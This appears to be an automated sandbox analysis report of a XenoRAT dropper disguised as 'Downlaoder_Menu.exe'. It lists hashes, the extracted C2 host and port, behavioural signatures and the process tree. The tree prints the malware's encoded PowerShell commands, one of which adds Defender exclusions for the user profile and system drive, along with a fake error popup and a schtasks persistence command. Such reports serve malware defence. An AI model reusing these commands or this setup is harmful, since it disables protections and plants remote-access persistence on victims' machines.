Analysis
-
max time kernel
98s -
max time network
142s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
17-05-2024 13:00
Static task
static1
Behavioral task
behavioral1
Sample
Downlaoder_Menu.exe
Resource
win7-20240221-en
General
-
Target
Downlaoder_Menu.exe
-
Size
4.5MB
-
MD5
ec79983fdb605310fac832ba5809e2d6
-
SHA1
ca83d6453563e02decf614d0ce331de493267d2f
-
SHA256
b67d8fc52334fb2309368bf2a738520f1b42436951b211b7896f612b86350c10
-
SHA512
234bb8696c8a6929784165366dc4317d5826738711a7661bf26e4ffab8e958db23d0f2a11542b3f0b5c4c71d62d3e4bc7a730d94d917a21d132d40e2a67ed460
-
SSDEEP
98304:ePj50PrsilC2IbhblAh5+dWspirADIsYAVjw1gI:i5gahZWs80sfsw1R
Malware Config
Extracted
xenorat
hax.onthewifi.com
hAxxx
-
delay
5000
-
install_path
appdata
-
port
1960
-
startup_name
Windows
Signatures
-
Executes dropped EXE 4 IoCs
pid Process 2976 Downloader_Menu_2.1.exe 2596 risk.exe 2764 risk.exe 1124 cvtres.exe -
Loads dropped DLL 3 IoCs
pid Process 2796 Downlaoder_Menu.exe 2596 risk.exe 2976 Downloader_Menu_2.1.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Downloader_Menu_2.1.exe Downlaoder_Menu.exe -
pid Process 1932 powershell.exe 1756 powershell.exe 2908 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2748 schtasks.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1756 powershell.exe 1932 powershell.exe 2908 powershell.exe 2040 chrome.exe 2040 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1756 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeDebugPrivilege 2908 powershell.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe Token: SeShutdownPrivilege 2040 chrome.exe -
Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe -
Suspicious use of SendNotifyMessage 32 IoCs
pid Process 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe 2040 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2796 wrote to memory of 1932 2796 Downlaoder_Menu.exe 28 PID 2796 wrote to memory of 1932 2796 Downlaoder_Menu.exe 28 PID 2796 wrote to memory of 1932 2796 Downlaoder_Menu.exe 28 PID 2796 wrote to memory of 1932 2796 Downlaoder_Menu.exe 28 PID 2796 wrote to memory of 1756 2796 Downlaoder_Menu.exe 30 PID 2796 wrote to memory of 1756 2796 Downlaoder_Menu.exe 30 PID 2796 wrote to memory of 1756 2796 Downlaoder_Menu.exe 30 PID 2796 wrote to memory of 1756 2796 Downlaoder_Menu.exe 30 PID 2796 wrote to memory of 2976 2796 Downlaoder_Menu.exe 32 PID 2796 wrote to memory of 2976 2796 Downlaoder_Menu.exe 32 PID 2796 wrote to memory of 2976 2796 Downlaoder_Menu.exe 32 PID 2796 wrote to memory of 2976 2796 Downlaoder_Menu.exe 32 PID 2796 wrote to memory of 2596 2796 Downlaoder_Menu.exe 33 PID 2796 wrote to memory of 2596 2796 Downlaoder_Menu.exe 33 PID 2796 wrote to memory of 2596 2796 Downlaoder_Menu.exe 33 PID 2796 wrote to memory of 2596 2796 Downlaoder_Menu.exe 33 PID 2596 wrote to memory of 2764 2596 risk.exe 34 PID 2596 wrote to memory of 2764 2596 risk.exe 34 PID 2596 wrote to memory of 2764 2596 risk.exe 34 PID 2596 wrote to memory of 2764 2596 risk.exe 34 PID 2976 wrote to memory of 1124 2976 Downloader_Menu_2.1.exe 35 PID 2976 wrote to memory of 1124 2976 Downloader_Menu_2.1.exe 35 PID 2976 wrote to memory of 1124 2976 Downloader_Menu_2.1.exe 35 PID 2976 wrote to memory of 1124 2976 Downloader_Menu_2.1.exe 35 PID 2764 wrote to memory of 2748 2764 risk.exe 36 PID 2764 wrote to memory of 2748 2764 risk.exe 36 PID 2764 wrote to memory of 2748 2764 risk.exe 36 PID 2764 wrote to memory of 2748 2764 risk.exe 36 PID 1124 wrote to memory of 2908 1124 cvtres.exe 38 PID 1124 wrote to memory of 2908 1124 cvtres.exe 38 PID 1124 wrote to memory of 2908 1124 cvtres.exe 38 PID 2040 wrote to memory of 1976 2040 chrome.exe 41 PID 2040 wrote to memory of 1976 2040 chrome.exe 41 PID 2040 wrote to memory of 1976 2040 chrome.exe 41 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43 PID 2040 wrote to memory of 2280 2040 chrome.exe 43
Processes
-
C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe"C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AZgBiACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGgAcwBjACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVwBpAG4AZABvAHcAcwAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAZQBuAGMAbwB1AG4AdABlAHIAZQBkACAAYQBuACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGUAcgByAG8AcgAuACAAVgBlAHIAaQBmAHkAIAB0AGgAYQB0ACAAdABoAGUAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAgAHMAbwB1AHIAYwBlAHMAIABhAHIAZQAgAGEAYwBjAGUAcwBpAGIAbABlACwAIABhAG4AZAAgAHIAZQBzAHQAYQByAHQAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAZABtACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAawByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAcABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZgBnACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756
-
-
C:\Windows\Downloader_Menu_2.1.exe"C:\Windows\Downloader_Menu_2.1.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Users\Admin\cvtres.exeC:\Users\Admin\cvtres.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\temp_.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2908
-
-
-
-
C:\Users\Admin\AppData\Roaming\risk.exe"C:\Users\Admin\AppData\Roaming\risk.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe"C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "Windows" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2B93.tmp" /F4⤵
- Creates scheduled task(s)
PID:2748
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7feec769758,0x7feec769768,0x7feec7697782⤵PID:1976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1164 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:22⤵PID:2280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1520 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:82⤵PID:2272
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1620 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:82⤵PID:2308
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2296 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:12⤵PID:584
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2308 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:12⤵PID:3020
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1472 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:22⤵PID:2320
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1324 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:12⤵PID:2028
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3452 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:82⤵PID:2324
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3580 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:82⤵PID:2648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2736 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:82⤵PID:2436
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:1592
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:2564
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
16B
MD5aefd77f47fb84fae5ea194496b44c67a
SHA1dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA2564166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
SHA512b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3
-
Filesize
264KB
MD5f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
-
Filesize
987B
MD568c2393508dc70673d69258dd6a5cff5
SHA1c89d158cfc0d921adc6f883214f3a77a7e69ca3a
SHA2566c5b76f2792ea254c9e84621f19d2eb277b808df4c6e16be1d572715c7b03f67
SHA512078e4992ecd09626990b1018837a20a5c644b54a63d15f522699bee492ac98826c632ce750bc2a3aca4ce2eda23b56bb8a8ab533659a979ce3c6f1d0a0a98a5c
-
Filesize
987B
MD5a8fb40741a67d738b6a23a032d66cdf6
SHA14ec8fef017fe68d97d6e372ae4c145b479818b10
SHA2562374077d7a0e9e5ccd5200099a56c3bf4a4431dc22abd0408262acdf07a006fd
SHA5129ff701fb88a0c0c03b337688b05373123be347faacc033ce0e15390db0a72f36c693033e74fddda8be5220156c5f7d8ba75dfcd89e2787b07fb748d23b558010
-
Filesize
5KB
MD50392421d638c912248b54ae8f356840e
SHA1e52f7de1ede50ec3babe0446d532ac3821a42ebd
SHA2562b7275d3962f72318f39d1c93af9a205fd2d373df34642508b795a0457fa640b
SHA51225961374e3991e30a846255d6c1f58b7c4b697f785563ff2c31f7e801271c05687a4c6141678ffc61036197e91a1338a769bbd42a16067b00514f95ead588c12
-
Filesize
5KB
MD51509db20615cfc2b68be5c5ea05899d1
SHA188564946b8d4143494511881d5f7c45235c79d3c
SHA256fd9c25f0753f47e9ad9f8116e920e2bc4fb5e4efeb4eba7ae5e5937084c4cb10
SHA512b79cdeb1655aa46b93ad5588e17f2e25533bd93a55e92659fbe7956babfad8058a2bbca35ec8a2937624f4ed18f12cb09a9b907dbafc2de5ee87dc4077849277
-
Filesize
16B
MD518e723571b00fb1694a3bad6c78e4054
SHA1afcc0ef32d46fe59e0483f9a3c891d3034d12f32
SHA2568af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
SHA51243bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2
-
Filesize
1KB
MD5c824a7486b8af655d347fd367022d0d2
SHA117bb7f077818e6d5ecb3be0fc681d341b82dd72b
SHA256025ef7965c1b7643ff8d71a48c71d62ce4380e3ac6324ecf51f80717a4d61c14
SHA512a026982ac700263bf2dfd5415365dbe52b0e59095adfd00c937af28f5c84978faf65aeb2cd2c7c9dc5c7b38dc82dc2acc2d7b91e96026e73a881483168586bc1
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NX55Q4JV0ET3JMSOYCNZ.temp
Filesize7KB
MD50f45303121c1c7f93766b833135e482b
SHA123160dd685c388f3aa91ffd9ac458e98652c34b0
SHA256062b76b3c032bd306aa8acedd4844e07d5e06c1cf46692a6edeac9a6ee840b18
SHA512ad063a34a81f2e1864e50d510a5ae72737bba89902c75ffa144c0da6e5f4632e129c41e8fec4ee31391be71a41f196818ed7742a7fc0330a82fe0de64cc6380f
-
Filesize
5.4MB
MD596b7afe999094957a1ce5b1c0ee0cb2f
SHA16b5d48b5f75246993de0263d27d2b9cdcc6ebf3f
SHA256d22cb88bfae5285d86cb35c2acba863f85b2e63c241c1959d15ca3416bcb5e4a
SHA512ed7e02b26664b442f95fdf83af03d7773c017dadf3bec8c2d37cc2b30c49b6751a3104b85f00cfedbd145f422635e5b3ad49ea80adf7c0a92b06db474c6a238c
-
Filesize
1KB
MD55e817bbd9ef2f8821aa0283b20a51923
SHA1102ca518d89653fb400636e660fa3fc276235c5c
SHA25627f2822ca2be992ebb6e1000aa3a2c39e9b4ff7e257cb45eadda8776d65018a7
SHA512f21388e0655e6733abc70ff9fe2bbfdca00d81d2e7a09236d679293df34a966990f689f2d62119cdd877c7aeda35ab0c2b3c66108bc6b721e5dea34a93342d2e
-
Filesize
5.4MB
MD5ff46d6b0970c55dba491b6dd06384f84
SHA1c8be08575f2174a9a00bff33e3b1a7c1d9c4a025
SHA256a5ad5faab69350449e8fd14adcb262ecb289696d5f0da374891e9eb226824c85
SHA512b0d5b4eb5d9b58f35f218dffb43956716adb062626a75fcde11ba517e9d16d015f8a0d90ae72fbad47c87cbec86ef3e6a16347900f0c0be97e47f6d58bdac3a6
-
Filesize
1KB
MD55a0a8376c0e45cc25d4050920cee3dcc
SHA12de4ddf90f3165b245bd9f77c145c8f770c98b85
SHA25686af1b7845145745ccaf65bf0dbeb1a981701ad0c6793c2dc93c0c2f2aef8d25
SHA512f5afd39336d6b9f0590d68a716e8c3b403c13b98aae34d76f43e34698d2c6485e3dbce7a6439623362effec50ab0b2696b1ed25e377ba4dae75047ef419f51c0
-
Filesize
4.4MB
MD59d3195f106a540570da0d038bc07cf68
SHA133c1dd7a4101d1622b4d9268da0b731e00ddca39
SHA256240b3b43f49f5430d9d2e263e857d6e4c9c98af09fe8ae7d9c0e6b7c9eeacfce
SHA5129c7b0da3e2a01a05f61e39648d31851c5b0d70d7f20d865792cf4c8cec39ad764b2f11833116dbcdea57f3ec1785345921defbd656eab4fc23095b63ba889f69
-
Filesize
45KB
MD52cb05f0d4360327b33956fedf516c6fe
SHA14562653b1361ce66ded9633e5883d00184c08796
SHA256af82f7a1ca358d54f5da73409d05360c265f7569fb768218051c7ef2620e66e6
SHA512f0967245d1693d74d146356c9540a9ae0b848a96a6e58eacc111a951a6b32e01f325f8848b2b0c66b38dbfcdcb37e052ccfc27cf9b3b6752f3cba876181f6fa6
-
Filesize
5KB
MD5c9698a20e68954387eed40d36d17c087
SHA1c50cf0ac1cbf51a89b6c1b816e5e63e7e7287179
SHA2563a71a978827979baeec7b94607e93a72cf2a51a7204a572f68a3788d83b87d8f
SHA512f8099e4e6bf6e1cd850faa398b3ef8862852342bef0ec8a7318495be6e82ddf903834b951faa6c5bbd0879414dcaccf3fec6ade4ef74054e08011d718ed1e813